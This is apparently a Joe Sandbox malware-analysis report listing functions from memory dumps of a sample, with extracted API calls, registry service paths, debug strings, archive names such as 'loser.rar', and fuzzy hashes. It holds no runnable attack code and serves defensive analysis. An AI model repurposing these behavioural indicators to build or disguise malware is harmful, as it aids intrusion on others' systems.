Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Close_strncmp$Open_memset_sprintf$CreateEnumInfoQuery
String ID: C$C$C$ControlSet00%d$E$M$S$S$S$S$System\%s\Services\%s$T$Y$e$e$e$l$l$n$n$n$o$o$o$o$r$r$r$r$t$t$t$t$t$u
API String ID: 1163434922-1667650837
Opcode ID: 6776f6d272e7f4226277a002469b821e8cb76e0c86e0922eecd9793764b115bc
Instruction ID: 4dc4fb4654f5972b653b9c6e61f58db2f369973569e715c1fa335a79986c21cb
Opcode Fuzzy Hash: 6776f6d272e7f4226277a002469b821e8cb76e0c86e0922eecd9793764b115bc
Instruction Fuzzy Hash: C9911E7150C3C19EE331CB68C858BEBBBE9AB96308F044D5EE5C947252E7759608C763

Function 6251659E Relevance: 87.7, APIs: 15, Strings: 35, Instructions: 223registryCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 625165BB
RegOpenKeyExA.ADVAPI32 ref: 62516666
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 62516688
_memset.LIBCMT ref: 625166A0
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 625166D9
_strncmp.LIBCMT ref: 625167EA
_strncmp.LIBCMT ref: 6251681A
_strncmp.LIBCMT ref: 6251684A
RegCloseKey.ADVAPI32(?), ref: 62516936
_memset.LIBCMT ref: 6251694A
_sprintf.LIBCMT ref: 6251697A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 625169A4
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 625169C0
RegCloseKey.ADVAPI32(00000000), ref: 625169CF
RegCloseKey.ADVAPI32(?), ref: 625169D6

Strings

n, xrefs: 62516761
C, xrefs: 62516739
C, xrefs: 62516771
r, xrefs: 62516702
S, xrefs: 625167A9
e, xrefs: 62516759
T, xrefs: 62516653
l, xrefs: 62516712
o, xrefs: 625166EA
t, xrefs: 62516769
u, xrefs: 62516741
C, xrefs: 625166E2
ControlSet00%d, xrefs: 625165B5
r, xrefs: 62516749
o, xrefs: 62516779
S, xrefs: 6251664E
S, xrefs: 62516644
t, xrefs: 625166FA
r, xrefs: 62516791
t, xrefs: 625167B9
t, xrefs: 62516789
n, xrefs: 62516781
n, xrefs: 625166F2
o, xrefs: 6251670A
System\%s\Services\%s, xrefs: 62516974
S, xrefs: 6251671A
o, xrefs: 62516799
l, xrefs: 625167A1
e, xrefs: 625167B1
t, xrefs: 6251672A
E, xrefs: 62516658
e, xrefs: 62516722
Y, xrefs: 62516649
r, xrefs: 62516751
M, xrefs: 6251665D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Close_strncmp$Open_memset_sprintf$CreateEnumInfoQuery
String ID: C$C$C$ControlSet00%d$E$M$S$S$S$S$System\%s\Services\%s$T$Y$e$e$e$l$l$n$n$n$o$o$o$o$r$r$r$r$t$t$t$t$t$u
API String ID: 1163434922-1667650837
Opcode ID: c60b50d64b4e6eba2790af01e8810b7ae15a983c3c93ffa3c6ee16e086f9ffe8
Instruction ID: f45bdd1aee3238a96436d50e551e572e49d0c36c862f7f42edd4114094eba4d8
Opcode Fuzzy Hash: c60b50d64b4e6eba2790af01e8810b7ae15a983c3c93ffa3c6ee16e086f9ffe8
Instruction Fuzzy Hash: 47910D7150C3C19EE331CB68C858BEBBBE9AB96308F044D5EE5C947252E7759608CB63

Function 62536340 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 150sleepwindowCOMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 62536365
OutputDebugStringA.KERNEL32(in RemoteGameDllWQ), ref: 6253637F
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62536386
__wfopen_s.LIBCMT ref: 625363B8
OutputDebugStringA.KERNEL32(not newEngine1 or new Engine2), ref: 625363CC
OutputDebugStringA.KERNEL32(6256E1DC), ref: 625363D3
_memset.LIBCMT ref: 625363F3
_strncpy.LIBCMT ref: 62536432
__wfopen_s.LIBCMT ref: 62536449
OutputDebugStringA.KERNEL32(?), ref: 6253645D
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62536464
GetFileAttributesA.KERNEL32(?), ref: 62536478
MessageBoxA.USER32(00000000,6256E258,6256E24C,00001000), ref: 62536498
__wfopen_s.LIBCMT ref: 625364C5
OutputDebugStringA.KERNEL32(RemoteLibrary failed), ref: 625364D9
OutputDebugStringA.KERNEL32(6256E1DC), ref: 625364E0
__wfopen_s.LIBCMT ref: 625364FE
OutputDebugStringA.KERNEL32(sleep if leg or blue), ref: 62536512
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62536519
Sleep.KERNEL32(00000BB8), ref: 62536535

Strings

not newEngine1 or new Engine2, xrefs: 625363C7
sleep if leg or blue, xrefs: 6253650D
RemoteLibrary failed, xrefs: 625364D4
C:\pl.txt, xrefs: 6253635F, 625363B2, 62536443, 625364BF, 625364F8
in RemoteGameDllWQ, xrefs: 6253637A

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s$AttributesFileMessageSleep_memset_strncpy
String ID: C:\pl.txt$RemoteLibrary failed$in RemoteGameDllWQ$not newEngine1 or new Engine2$sleep if leg or blue
API String ID: 534663367-1936516422
Opcode ID: 16a079d56553b48c07775f6f43b541f3600d8cfb4aebca59846175fa2093458f
Instruction ID: e2323fa11680abdbed835c9369ffa8d2142d55867efa74ca75cb1bc97bdf4a2f
Opcode Fuzzy Hash: 16a079d56553b48c07775f6f43b541f3600d8cfb4aebca59846175fa2093458f
Instruction Fuzzy Hash: A441CE71804312ABE231DB78CC64F6AB7E4AFC5718F04982CFC6496151EB78E508CB97

Function 0BB8135C Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0BB81365

Part of subcall function 0BB81330: GetProcAddress.KERNEL32(00000000), ref: 0BB81349

Strings

VarSub, xrefs: 0BB813CB
VarXor, xrefs: 0BB81465
VarBstrFromCy, xrefs: 0BB81515
VarNeg, xrefs: 0BB81389
VarMod, xrefs: 0BB81423
VarAdd, xrefs: 0BB813B5
VarBstrFromDate, xrefs: 0BB8152B
VarCyFromStr, xrefs: 0BB814E9
VarI4FromStr, xrefs: 0BB81491
VarCmp, xrefs: 0BB8147B
VarBoolFromStr, xrefs: 0BB814FF
VarR8FromStr, xrefs: 0BB814BD
VarAnd, xrefs: 0BB81439
VarMul, xrefs: 0BB813E1
VarIdiv, xrefs: 0BB8140D
VarNot, xrefs: 0BB8139F
VarOr, xrefs: 0BB8144F
VariantChangeTypeEx, xrefs: 0BB81373
VarDiv, xrefs: 0BB813F7
VarR4FromStr, xrefs: 0BB814A7
oleaut32.dll, xrefs: 0BB81360
VarDateFromStr, xrefs: 0BB814D3
VarBstrFromBool, xrefs: 0BB81541

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 86f44b35e4378917eedefc5a340d79fe6e067218685c7ec218bc982c9c182545
Instruction ID: 43d13c3c430f3058eb0893c2ad645bb0ab98bd7f0acaf34248a1d004af217507
Opcode Fuzzy Hash: 86f44b35e4378917eedefc5a340d79fe6e067218685c7ec218bc982c9c182545
Instruction Fuzzy Hash: 5D4199A36172146F53047BADB4118BA77DAD68C6D03A080EAF445FBA44EE35ED43C72D

Function 0BBD56FC Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 355fileCOMMON

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 0BBD576B
MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000000,xxxxxx,?,Index,0BBDFCE8,00000000,0BBD5C04,?,?,?,00000008,00000000), ref: 0BBD57A2

Part of subcall function 0BBD4DB0: MessageBoxA.USER32(00000000,00000000,00000000,00000040), ref: 0BBD4DCA

Strings

$00000000, xrefs: 0BBD593C
xxxxxx, xrefs: 0BBD5738
.mtx, xrefs: 0BBD5AE6
readnowid.mtx, xrefs: 0BBD57CB
MessageBox, xrefs: 0BBD577E, 0BBD57B5, 0BBD57DF, 0BBD5997, 0BBD59D6, 0BBD5B1C, 0BBD5B5E, 0BBD5B92
.mem, xrefs: 0BBD5ABC
Index, xrefs: 0BBD5725

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: File$MappingMessageOpenView
String ID: $00000000$.mem$.mtx$Index$MessageBox$readnowid.mtx$xxxxxx
API String ID: 1254488582-3625701455
Opcode ID: f550d8988443291aae7e32d0b8194062959f790655e9770f5a938cfa3906977f
Instruction ID: a5f50dce894585d1fd86671ee037c575f4ba6842bfd08881e15bce61837a5110
Opcode Fuzzy Hash: f550d8988443291aae7e32d0b8194062959f790655e9770f5a938cfa3906977f
Instruction Fuzzy Hash: E5D175306412059FDB20FBA8D892FAE77B5EB54704F5441E4E521AF394EBB9EE01CB60

Function 625183B0 Relevance: 31.7, APIs: 4, Strings: 14, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 62534E90: _memset.LIBCMT ref: 62534EB3
Part of subcall function 62534E90: _strncpy.LIBCMT ref: 62534EEF

Part of subcall function 6251B440: InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,62582C98), ref: 6251B4EA

__wfopen_s.LIBCMT ref: 62518424
OutputDebugStringA.KERNEL32(wrong list), ref: 6251843E
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62518445

Strings

j9a03b4151b3e00ffc9.zip, xrefs: 625184E2, 62518590, 625185CB, 625185FC
11948, xrefs: 6251847A
ded12271319.zip, xrefs: 625184B3, 62518554
C:\debug.txt, xrefs: 6251841E
loser64.rar, xrefs: 625183E5
loser32.rar, xrefs: 625183DB
c3b39858cd5cd.zip, xrefs: 6251848D
loser64_2.rar, xrefs: 625183EF
da1b4f0857d.zip, xrefs: 62518516, 625185AA, 625185E1, 62518619, 6251864A
24624, xrefs: 625184CB, 62518595, 625185D0, 62518601
loser.rar, xrefs: 625183D1
11965, xrefs: 625184A0, 62518559
24647, xrefs: 625184FF, 625185AF, 625185E6, 6251861E, 6251864F
wrong list, xrefs: 62518439

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$CriticalInitializeSection__wfopen_s_memset_strncpy
String ID: 11948$11965$24624$24647$C:\debug.txt$c3b39858cd5cd.zip$da1b4f0857d.zip$ded12271319.zip$j9a03b4151b3e00ffc9.zip$loser.rar$loser32.rar$loser64.rar$loser64_2.rar$wrong list
API String ID: 1574680699-3486113860
Opcode ID: 249a448efdd04ac43bd856df9256a9dee86f4795acbd4e5b901a0e8cfbdf1d00
Instruction ID: 0a48c07395f54e1c0cac220940067a005b8c8a03a8abe78b07812a355360d393
Opcode Fuzzy Hash: 249a448efdd04ac43bd856df9256a9dee86f4795acbd4e5b901a0e8cfbdf1d00
Instruction Fuzzy Hash: A751C27090C221A7F635967CE87D7AA3BD65F823CCB195920DC459F212FFA9DD088293

Function 62520050 Relevance: 28.5, APIs: 13, Strings: 3, Instructions: 487COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 625202F5
std::ios_base::clear.LIBCPMTD ref: 62520377
std::ios_base::clear.LIBCPMTD ref: 625203FB
std::ios_base::clear.LIBCPMTD ref: 62520474
std::ios_base::clear.LIBCPMTD ref: 6252048D
std::ios_base::clear.LIBCPMTD ref: 625204A7
std::ios_base::clear.LIBCPMTD ref: 625204C1
std::ios_base::clear.LIBCPMTD ref: 625204FE

Part of subcall function 62537760: std::locale::facet::facet.LIBCPMTD ref: 625377D4

std::ios_base::clear.LIBCPMTD ref: 62520594
std::ios_base::clear.LIBCPMTD ref: 625205AD
std::ios_base::clear.LIBCPMTD ref: 625205C7
std::ios_base::clear.LIBCPMTD ref: 625205E1
std::ios_base::clear.LIBCPMTD ref: 6252061E

Strings

Answer, xrefs: 625202EC, 6252036E, 625203F2
type, xrefs: 62520464, 62520484, 6252049E, 62520584, 625205A4, 625205BE
data, xrefs: 625204B8, 625204F5, 625205D8, 62520615

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: std::ios_base::clear$std::locale::facet::facet
String ID: Answer$data$type
API String ID: 505427035-2650445777
Opcode ID: a3e3ea392d14e47310f268218643da8de614b50a162319879087810fb86155b4
Instruction ID: d3ac037f56c9d6eab5703c09f9b97efac84e386fa9da5986b2132feebcbdef8b
Opcode Fuzzy Hash: a3e3ea392d14e47310f268218643da8de614b50a162319879087810fb86155b4
Instruction Fuzzy Hash: 731291315193808FD335DB78C8B0B9EBBE4AFE5318F145A5DE499472D1EB309A09CB92

Function 625181A3 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 124COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 62518209
_strncpy.LIBCMT ref: 62518253
_strncpy.LIBCMT ref: 62518299
_strncpy.LIBCMT ref: 625182E3

Strings

loser32.rar, xrefs: 6251821F
c3b39858cd5cd.zip, xrefs: 62518211
loser64_2.rar, xrefs: 625182AF
j9a03b4151b3e00ffc9.zip, xrefs: 625182A1
11948, xrefs: 62518204
ded12271319.zip, xrefs: 6251825B
da1b4f0857d.zip, xrefs: 625182EB
24624, xrefs: 62518294
loser64.rar, xrefs: 62518269
loser.rar, xrefs: 625181D9
11965, xrefs: 6251824E
24647, xrefs: 625182DE

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _strncpy
String ID: 11948$11965$24624$24647$c3b39858cd5cd.zip$da1b4f0857d.zip$ded12271319.zip$j9a03b4151b3e00ffc9.zip$loser.rar$loser32.rar$loser64.rar$loser64_2.rar
API String ID: 2961919466-1613592718
Opcode ID: 1bcae0a3e4dca85b8fb510297c2a3973b311fbfa3fd54c36ce8a77ce0ee8b568
Instruction ID: 3c79a070639189fd25d29f88e72aa7b75daf8b5d5c36309385546f813a0dbfe1
Opcode Fuzzy Hash: 1bcae0a3e4dca85b8fb510297c2a3973b311fbfa3fd54c36ce8a77ce0ee8b568
Instruction Fuzzy Hash: D03118726086227BF2369934AC3CBD77B9D9F80758F085610EC54DB386FB65DE0982D1

Function 625181A0 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 120COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 62518209
_strncpy.LIBCMT ref: 62518253
_strncpy.LIBCMT ref: 62518299
_strncpy.LIBCMT ref: 625182E3

Strings

loser32.rar, xrefs: 6251821F
c3b39858cd5cd.zip, xrefs: 62518211
loser64_2.rar, xrefs: 625182AF
j9a03b4151b3e00ffc9.zip, xrefs: 625182A1
11948, xrefs: 62518204
ded12271319.zip, xrefs: 6251825B
da1b4f0857d.zip, xrefs: 625182EB
24624, xrefs: 62518294
loser64.rar, xrefs: 62518269
loser.rar, xrefs: 625181D9
11965, xrefs: 6251824E
24647, xrefs: 625182DE

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _strncpy
